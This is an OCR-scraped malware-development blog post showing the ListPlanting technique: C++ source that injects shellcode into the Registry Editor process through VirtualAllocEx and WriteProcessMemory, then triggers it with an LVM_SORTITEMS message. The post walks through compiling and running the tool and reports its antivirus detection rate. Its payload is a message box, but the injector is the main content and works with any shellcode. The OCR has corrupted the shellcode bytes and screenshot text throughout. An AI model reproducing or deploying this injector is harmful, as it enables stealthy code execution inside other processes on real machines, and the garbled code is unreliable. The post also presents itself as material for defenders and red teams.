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Malware development tricks: part 24. Listplanting. C++ example.

By cocomelonc
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2 minute read
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Hello, cybersecurity enthusiasts and white hackers!

",
’

A3 win10-x64 (peekaboo) [Running] - Oracle VM VirtualBox
int main(int-argc, char*-argv([]) { Machine View Input Devices Help
HANDLE - ph;
DWORD  pid;
LPVOID mem;

HWND wpw = FindWindow(NULL, (LPCSTR)"Registry Editor");
HWND hw = FindWindowEx (wpw, 0, (LPCSTR)"SysListView32",

File Edit View Favorites Help
Computer\HKEY_LOCAL MACHINE\SOFTWAR ~ * ~ IAB20-56C9-11D0-94E8-00AADD59CEO2\InProcs|

GetWindowThreadProcessId(hw, &pid); 707552048433 AT Besbedlacho) e Type
'7CE1A1-8255-4165-8C83-8379FBC127AE} Meow-meow! Default) REG. 57

ph = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid); 200303 1F33-402D- B832-052E23E0B7FO} oo ReG o7
2B 1AF2-CBF7-4604- BEOS- GAF SFAED2EC2) -
b0d2c9-3ecc-4F1c-920c-6a85cTda2244}
B DOES7-9FEA-4748-8672- DSEFESBTT960)

mem = VirtualAllocEx(ph, NULL, (my payload), MEM |EESEtmmacmsmre)

- I <52 -90bd-4382-8bc2- 3161906 T6e34}
| 7920-8fBc-4f4a-9ulbf-06253e456238}
[l 2670955700269 bab(- c4e3181200d1}

WriteProcessMemory(ph, mem, my_payload, (my_paylo |k
i 3AG9FB-5E17-4893-85A5-1EF469217372)

. @ O o m fl A ~o@epd o
PostMessage(hw, LVM SORTITEMS, O, (LPARAM)mem); & MBS § 6 0 Right Ctrl

VirtualFreeEx(ph, mem, ©, MEM DECOMMIT | MEM_RELEASE);
CloseHandle(ph);

tH
hack.cpp
"hack.cpp" 65L, 2420C written

This post is the result of my own research into the malware dev trick: Listplanting.

Using the LVM_SORTGROUPS , LVM_INSERTGROUPSORTED , and LVM_SORTITEMS messages,a ListView control’s items
and groups can have their sorting behavior modified to suit individual preferences. List-view controls are user
interface windows that display groups of things. A SysListView32 control stores information about an application’s

list-view settings in the process’ memory.

ListPlanting may be performed by copying code into the virtual address space of a process that uses a list-view control

then using that code as a custom callback for sorting the listed items.
practical examplePermalink

Let’s go to look at a practical example. The trick is pretty simple:
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First of all, get windows handle:

HWND wpw = FindWindow(NULL, (LPCSTR)"Registry Editor");
HWND hw = FindWindowEx(wpw, @, (LPCSTR)"SysListView32", 0);

Then, get process ID, and open it (get process handle by OpenProcess ):

GetWindowThreadProcessId(hw, &pid);
ph = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);

At the next step, we allocate RWX-memory via VirtualAllocEx and “copy” payload:

mem = VirtualAllocEx(ph, NULL, sizeof(my_payload), MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);

// copy payload
WriteProcessMemory(ph, mem, my_payload, sizeof(my_payload), NULL);

Finally, trigger payload:

// trigger payload
PostMessage(hw, LVM_SORTITEMS, @, (LPARAM)mem);

According to documentation, PostMessage - Places (posts) a message in the message queue associated with the

thread that created the specified window and returns without waiting for the thread to process the message.

The full source code of my PoC:

/*
hack.cpp

code injection Listplanting

author: @cocomelonc
https://cocomelonc.github.io/malware/2022/11/27/malware-tricks-24.html
*/

#include <windows.h>

#include <commctrl.h>

#include <iostream>

#pragma comment (lib, "user32.lib")

unsigned char my_payload[] =
// 64-bit meow-meow messagebox
"\xfc\x48\x81\xed\xfO\xff\xff\xff\xe8\xd0\x00\x00\x00\x41"
"\x5T\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60"
"\x3e\x48\x8b\x52\x18\x3e\x48\x8b\x52\x20\x3e\x48\x8b\x72"
"\x50\x3e\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0O\xac"
"\x3c\x61\x7¢c\x02\x2c\x20\x41\xc 1\xc9\x0d\x41\x01\xcT1\xe2"
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"\xed\x52\x41\x51\x3e\x48\x8b\x52\x20\x3e\x8b\x42\x3c\x48"
"\x01\xd0\x3e\x8b\x80\x88\x00\x00\x00\x48\x85\xcO\x74\x6f"
"\x48\x01\xd0\x50\x3e\x8b\x48\x18\x3e\x44\x8b\x40\x20\x49"
"\x01\xd0\xe3\x5c\x48\xff\xc9\x3e\x41\x8b\x34\x88\x48\x01"
"\xd6\x4d\x31\xc9\x48\x31\xcO\xac\x41\xc 1\xc9\x0d\x41\x01"
"\xc1\x38\xe@\x75\xf1\x3e\x4c\x03\x4c\x24\x08\x45\x39\xd 1"
"\x75\xd6\x58\x3e\x44\x8b\x40\x24\x49\x01\xd0\x66\x3e\x41"
"\x8b\x0c\x48\x3e\x44\x8b\x40\x1c\x49\x01\xd0\x3e\x41\x8b"
"\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58"
"\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xf f\xe@\x58\x41"
"\x59\x5a\x3e\x48\x8b\x12\xeN\x49\x f f\xf f\xff\x5d\x49\xc7"
"\xc1\x00\x00\x00\x00\x3e\x48\x8d\x95\x1a\x@1\x00\x00\x3e"
"\x4c\x8d\x85\x25\x01\x00\x00\x48\x31\xc9\x41\xba\x45\x83"
"\x56\x@7\xff\xd5\xbb\xe@\x1d\x2a\x0a\x41\xba\xab\x95\xbd"
"\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xed"
"\x75\x@5\xbb\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff"
"\xd5\x4d\x65\x6f\x77\x2d\x6d\x65\x6F\x77\x21\x00\x3d\x5¢e"
"\x2e\x2e\x5e\x3d\x00";

int main(int argc, char* argv[]) {
HANDLE ph;
DWORD pid;
LPVOID mem;

// find window
HWND wpw = FindWindow(NULL, (LPCSTR)"Registry Editor");
HWND hw = FindWindowEx(wpw, @, (LPCSTR)"SysListView32", 0);

// obtain the process id and try to open process
GetWindowThreadProcessId(hw, &pid);

ph = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);

// allocate RWX memory
mem = VirtualAllocEx(ph, NULL, sizeof(my_payload), MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);

// copy payload
WriteProcessMemory(ph, mem, my_payload, sizeof(my_payload), NULL);

// trigger payload
PostMessage(hw, LVM_SORTITEMS, @, (LPARAM)mem);

// free memory

VirtualFreeEx(ph, mem, @, MEM_DECOMMIT | MEM_RELEASE);
CloseHandle(ph);

return 0;
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As you can see, as usually, for simplicity I used meow-meow messagebox payload:

unsigned char my_payload[] =

// 64-bit meow-meow messagebox
"\xfc\x48\x81\xed\xfO\xff\xff\xff\xe8\xd0\x00\x00\x00\x41"
"\x5T\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60"
"\x3e\x48\x8b\x52\x18\x3e\x48\x8b\x52\x20\x3e\x48\x8b\x72"
"\x50\x3e\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0O\xac"
"\x3c\x61\x7¢c\x02\x2c\x20\x41\xc 1\xc9\xAd\x41\x01\xcT1\xe2"
"\xed\x52\x41\x51\x3e\x48\x8b\x52\x20\x3e\x8b\x42\x3c\x48"
"\x01\xd0\x3e\x8b\x80\x88\x00\x00\x00\x48\x85\xcO\x74\x6f"
"\x48\x01\xd0\x50\x3e\x8b\x48\x18\x3e\x44\x8b\x40\x20\x49"
"\x01\xd0\xe3\x5c\x48\xff\xc9\x3e\x41\x8b\x34\x88\x48\x01"
"\xd6\x4d\x31\xc9\x48\x31\xcO\xac\x41\xc 1\xc9\x0d\x41\x01"
"\xcT\x38\xe0\x75\xf1\x3e\x4c\x03\x4c\x24\x08\x45\x39\xd1"
"\x75\xd6\x58\x3e\x44\x8b\x40\x24\x49\x01\xd0\x66\x3e\x41"
"\x8b\x0c\x48\x3e\x44\x8b\x40\x1c\x49\x01\xd0\x3e\x41\x8b"
"\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58"
"\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe@\x58\x41"
"\x59\x5a\x3e\x48\x8b\x12\xe9\x49\x f f\xf f\xff\x5d\x49\xc7"
"\xcT\x00\x00\x00\x00\x3e\x48\x8d\x95\x1a\x01\x00\x00\x3e"
"\x4c\x8d\x85\x25\x01\x00\x00\x48\x31\xc9\x41\xba\x45\x83"
"\x56\x07\xff\xd5\xbb\xe@\x1d\x2a\x0a\x41\xba\xab\x95\xbd"
"\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0d"
"\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff"
"\xd5\x4d\x65\x6f\x77\x2d\x6d\x65\x6f\x77\x21\x00\x3d\x5e"
"\x2e\x2e\x5e\x3d\x00" ;

demoPermalink

Let’s go to see everything in action. Compile our “malware”:

x86_64-w64-mingw32-g++ -02 hack.cpp -o hack.exe -I/usr/share/mingw-w64/include/ -s -ffunction-sections -fdata-sect

( ) - [~/hacking/cybersec_blog/2022-11-27-malware-tricks-24]
x86_64-wb64-mingw32-g++ hack.cpp hack.exe

) - [~/hacking/cybersec_blog/2022-11-27-malware-tricks-24]

-rw-r--r-- 1 cocomelonc cocomelonc 2476 Nov 28 02:54 hack.cpp
-rwxr-xr-x 1 cocomelonc cocomelonc 912384 Nov 28 02:54 hack.exe

Then, run Registry Editor in the victim machine ( Windows 10 x64 in my case):
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winl0-x64 (peekaboo) [Running] - Oracle VM VirtualBox

File Machine View Input Devices Help

B Registry Editor O
File Edit View Favorites Help

Computer\HKEY_LOCAL MACHIMNENSOFTWARE\ Classes\ CLSIDN8360AB20-56C9-1100-94E2-00AADDSSCEDZ}

183267d9b-a70d-46%9d-babl-c4e3181209d1} # || Mame
{8336e323-2eba-4a04-937c-548f681839b3}
{833A6R9FB-5E17-4893-85A5-1EF469217372]
183472593 4f eb-4f44-a14c-feBdabIff 35}
{8352E327-B2EC-3331-9998-317EC5CCI368}
{8362058c-a3ec-491f-0b4d-18f3f8287eed]
18369320D-FD20-4155-B781-DC34%4D06C5A}
{8369AB20-56C9-1100-94E3-00AAD059CEDZ }
{836CD085-B303-4b5c-BBCE-224F35EBOCCD}
{836FA1BE-1190-4005-B434-TEDS21BE2026 ]
18373ce97-T2b7-4fbd-b5el-b38aa083d734}
{837ART33-1675-3BC9-BBFE-13380F24DAR}
{838ATTAR-14D4-439C-925F-30EE52005026}
{8398EE59-134A-420A-934A-DERATFI00D9A}
{83B52078-E93E-425B-926F-DEG16GATSEAT]}
{83bb272f-7d5e-4b6e-9250-389393f0dacy}
{83bbcbf3-b28a-4919-a5aa-73027445d672}
{83BC5ECO-6F2A-11d0-A1C4-00AAD0CTBERS}
{83 d6f379-4345-435-004e- Tec23cdbb 13}

Type
ab| (Default) REG_SZ

. T:11AM
T
N 0T ) e ~

r: o' # W BT ¥| 6 0 Right Ctrl

And, run our hack.exe :

.\hack.exe
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<iostream>
#pragma- comment (lib, "user32.1ib")

unsigned char my_payload[] =

win10-x64 (peekaboo) [Running] - Oracle VM VirtualBex

hine View Input Devices Help

File Edit View Favorites Help

Computer\HKEV_LOCAL MACHINESOFTWARRG = "~ 56C0-11D0-94E8-00AAD0SICEDR)

S5 || {83267d9b-a70d-465d-bab0-cde31212(
{8336e323-2e6a-4a0d-037c-5481681839p3) Meow-meow!
{833A6OFB-SE17-4803-85A5-1EF469217} 7.
{834725934feb-4144-a14c-FcBAAbAF3}
{8352E327-B2EC-3331-9998-817EC5CCY38
{8368958c-23ec-491f-9b4d- 183328 7e 2]
{8369320D-FD20-4155-B781-DC3494D06TSA]
{B369AB20-56C9-11D0-34E8-00AAODSOCEDZ}
{836CD0B5-B3D3-4bSc-BBCB-224F35EBICCD}
{BI6FATBS-1190-4005-B434-TEDI2 1BE2026)
{8373¢e87-T2b7-4b2-b5e8-b38aa083d T34}
{B37A6733-1675-3BC9-BBFE-13880FBADAF4}

Type
It) REGSZ

i 7 o Ei2AM
O o 2 D) 4 gy N

1)
8 0kF¢mES # S 0B Right Ctrl
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winl0-x64 (peekaboo) [Running] - Oracle VM VirtualBox

File Machine View Input Devices Help

Microsoft Corporation. All rights reserwved.
-11-27-malware-tricks- 24y

SAhack.ex

File Edit View Favorites Help
Computer\HKEY_LOCAL_MACHINE\SOFTWARENG ~— 7 - M0-56C9-1100-94E8-00AADDSSCED2 )
\ {83267d9b-a70d-46%d-bab0-c4e3181209d] Type
{2336e323-2eba-4a04-937c-548F681830b3) Meow-meow! ault) REG S7
{833AB0FB-3E1J-38093-05A5-TEFIRTIT /37, -
{83472593-4feb
{8352E327-B2E(
{83685958c-a3ec
{836932DD-FD2
{8369AB20-56C} : 3
{836CD085-B3D

{836FATBE-1190 Sy - ; :

{8373ce07-72b7}

Meow-meow!

{837ABT33-1675

; - - . T13AM
; ! A T o) 11/28/2022 [

o' # S 2 ¥l @0 Right Ctrl

Run as Administrator, because for injecting to Registry Editor ( regedit.exe ) requires elevated privileges.

For correctness, run Process Hacker 2 as Administrator and check memory tab:
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7;': winl0-x64 (peekaboo) [Running] - Oracle VM VirtualBox

File Machine View Input Devices Help

User Account Control

Do you want to allow this app to make
changes to your device?

.,__ Process Hacker

Verified publisher: Wen Jia Liu
File origin: Hard drive on this computer

Show more details

Yes

# HE 2 ¥ @8 Right Ctrl
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<windows.h>
<commctrl.h>
<iostream>
#pragma comment - (lib, - "user32.1lib")

unsigned char -my_payload[] =

win10-x64 (peekaboo) [Running] - Oracle VM VirtualBox

hine View Input Devices Help

00000000 £0 ££ ££ £ 00 00 00 41 .

00000010 € 48 d2 & 52 60 3e 48 ER(VH1.eH.R">H.R
00000020 3e 50 3e 48 0f 3H.R >H.rE>H..J
00000030 48 c Te 02 2¢ 20 JM1.H1..<al., A.
00000040 c3 el e2 =d 3e 48 8b 52 ..A....RAC>H.B >
00000050 0l do 3e L Ho.
00000060 £ 40 50 3=
00000070 48 ££ c8 = X
00000090 E 0 ac 41
00000090 £ 03 4c 24 08)45
000000a0 g 01 do 3e Meow-meow!
000000b0 49 do 3e 41 04
0000000 59 58 41 41
000000d0 o 5a 3e 4% b
00000020 00 00 3e 48
00000020 00 00 48 31[co 41 b 45
00000100 Za Oa 41 ba a6 85 bd 5d £f
00000110 7c Oa 80 £b =0 75 05 kb 47
00000120 9 89 da ds

00000130 Se 2e Se 00 00 00 00 00 00
00000140 00 00 00 00 00 00 00 00 00 00 00 00 00
00000150 00 00 00 00 00 00 00 00 00 00 00 00 00
00000160 00 00 00 00 00 00 00 00 00 00 40 00 0O 00 00 00

YZAXAYAZH
7 XRYZ>H...

R

e 717 AM

0 T D) gy W

int main(int argc, char* argv[]) { . nhah_n; :

HANDLE ph; o & M 22 #| 8 8 Right Ctr
DWORBRD

As you can see, everything is work perfectly :)

Let’s go to upload hack.exe to VirusTotal:

z 1037630195721 Q o~ 8 soin CFD
_I 9 ‘ (1) 19 seeurity vendors and no sandboxes flagged this file as malicious o K
7
1037630195f721c6a7aTbéd 891.00 kB 2022-11-28 01:20:57 UTC 2 &)
hack exe Size amoment ago EXE

6dbits  assembly  peexe

X Community Score v/

DETECTION DETAILS BEHAVIOR C COMMUNITY

Security Vendors' Analysis

Acronis (Static ML) (@ suspicious Ad-Aware (D Generic.ShellCode Marte F.860827DA
ALYac (D Generic.shellCode Marte F.860827DA Arcabit (@ Generic.Shellcode. Marte F.DD2298DA
Avira (no cloud) (D) HEUR/AGEN.1252190 BitDefender (@ Generic.ShellCode. Marte F.860827DA
Cynet @ Malicious (score: 100) Elastic @ Malicious (high Confidence)

Emsisoft (D Generic.ShellCode Marte F.860827DA () escan (@ Generic.shellCode Marte F.860827DA
GData (@ Generic.shellCode Marte F.860827DA Google (@ Detected

Ikarus (@ Trojan.win64.Krypt Malwarebytes (D Malware Al.2507200200

MAX (@ Malware (ai Score=89) Microsoft (@ Trojan:win32/Sabsik.FL.BImI
Symantec (@ MLAttribute HighConfidence Trellix (FireEye) (D Generic.mg.bce7d23f385c64bf

VIPRE (D Generic.shellCode Marte F.860827DA AhnLab-V3 Undetected

Alibaba ©) Undetected Antiy-AVL ) Undetected

Avast (%) Undetected AVG (Z) Undetected

Baidu ) Undetected BitDefenderTheta Undetected

Bkav Pro (%) Undetected Clamav (Z) Undetected

cMC (¥) Undetected Comodo ) Undetected @

So, 19 of 71 AV engines detect our file as malicious.

https://www.virustotal.com/gui/file/al1037630f95f{721c6a7a1b6d8c278b4e926253b3888ac838d507af8c8baf8844/detection

This technique is used in InvisiMole. InvisiMole is a modular spyware software that the InvisiMole Group has been

using since at least 2013.
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I hope this post spreads awareness to the blue teamers of this interesting technique, and adds a weapon to the red

teamers arsenal.

ATT&CK MITRE: ListPlanting
InvisiMole
PostMessage

source code in github
This is a practical case for educational purposes only.

Thanks for your time happy hacking and good bye!

PS. All drawings and screenshots are mine

Source: https://cocomelonc.github.io/malware/2022/11/27/malware-tricks-24.html
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